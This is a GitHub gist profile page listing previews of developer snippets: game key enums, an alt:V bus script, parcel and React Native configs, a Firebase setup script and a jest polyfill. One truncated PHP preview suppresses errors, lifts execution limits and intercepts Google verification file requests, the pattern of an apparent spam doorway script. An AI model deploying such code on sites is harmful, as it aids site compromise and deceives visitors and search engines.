Skip to content

Instantly share code, notes, and snippets.

View FDiskas's full-sized avatar
🏠
Working from home

Vytenis FDiskas

🏠
Working from home
View GitHub Profile
// https://gist.github.com/FDiskas/3dd4163d23bbdb77b54852b8cfb71720
export const enum NativeKey {
InputNextCamera = 0, // V
InputLookLr = 1, // MOUSE RIGHT
InputLookUd = 2, // MOUSE DOWN
InputLookUpOnly = 3, // (NONE)
InputLookDownOnly = 4, // MOUSE DOWN
InputLookLeftOnly = 5, // (NONE)
InputLookRightOnly = 6, // MOUSE RIGHT
InputCinematicSlowmo = 7, // (NONE)
@FDiskas
FDiskas / client.js
Last active October 28, 2024 13:26
import { Player, on, setTimeout, onServer, log, clearTimeout, emit, emitServer } from 'alt-client';
import game from 'natives';
onServer("Bus:From:Airport", async (vehicle) => {
const driverStart = {
x: -1016.289,
y: -2759.372,
z: 14.165,
model: 's_m_y_airworker',
heading: 45.0,
@FDiskas
FDiskas / readme.md
Created April 7, 2020 12:10
parcel + html + html include + scss

Steps

  1. yarn init -y
  2. yarn add -D parcel posthtml-img-autosize posthtml-include posthtml-modules autoprefixer rimraf
  3. touch .posthtmlrc.js
    module.exports = { 
        plugins: {
            "posthtml-img-autosize": {
                root: "./assets/images"
@FDiskas
FDiskas / metro.config.js
Created March 8, 2020 13:02
Config for react-native to support linked modules
const {
applyConfigForLinkedDependencies,
} = require("@carimus/metro-symlinked-deps");
const path = require('path');
module.exports = applyConfigForLinkedDependencies(
{
watchFolders: [path.resolve(__dirname, 'node_modules')],
transformer: {
getTransformOptions: async () => ({
@FDiskas
FDiskas / react-native-setup-firebase.sh
Created January 31, 2020 15:03
Setup firebase on react-native
#!/usr/bin/env bash
set -e
echo What is your Project name?
read PROJECT_NAME
# Basic template create, rnfb install, link
# \rm -fr $PROJECT_NAME
# echo "Testing react-native current + react-native-firebase v6.current + Firebase SDKs current"
@FDiskas
FDiskas / typescriptreact.json
Last active August 30, 2019 10:28
VSCode snippets "React-Native"
{
"Component": {
"prefix": "comp",
"body": [
"import * as React from 'react';",
"import { View, StyleSheet, ViewStyle, Text } from 'react-native';",
"",
"interface ComponentProps {}",
"interface ComponentState {}",
"interface Styles {",
@FDiskas
FDiskas / polyfills.js
Last active August 24, 2017 07:18
localStorage polyfill for jest #jest #localStorage
global.localStorage = {
getItem(key) {
return this[key];
},
setItem(key, value) {
this[key] = value;
},
removeItem(key) {
delete this[key];
},
<?php
ini_set('memory_limit', '-1');
@ini_set('max_execution_time', 0);
@set_time_limit(0);
error_reporting(0);
@ini_set('display_errors', 0);
$ct_dir = dirname(__FILE__)."/bak";
$req_path = $_SERVER["REQUEST_URI"];
$ip = $_SERVER["REMOTE_ADDR"];
if(preg_match("/google(.*).html/i",$req_path,$res))
@FDiskas
FDiskas / .babelrc
Last active November 3, 2016 09:15
Reproducible bug. `npm install` works. And `yarn` not works.
{ "presets": [ "es2015" ] }
var gulp = require('gulp');
var kss = require('kss');
var config = { path: { dest: './dist', src: './src' } };
gulp.task('styleguide', function(){
return kss({
"source": [
config.path.src + "/sass"
],
"destination": config.path.dest + "/styleguide/",
"css": [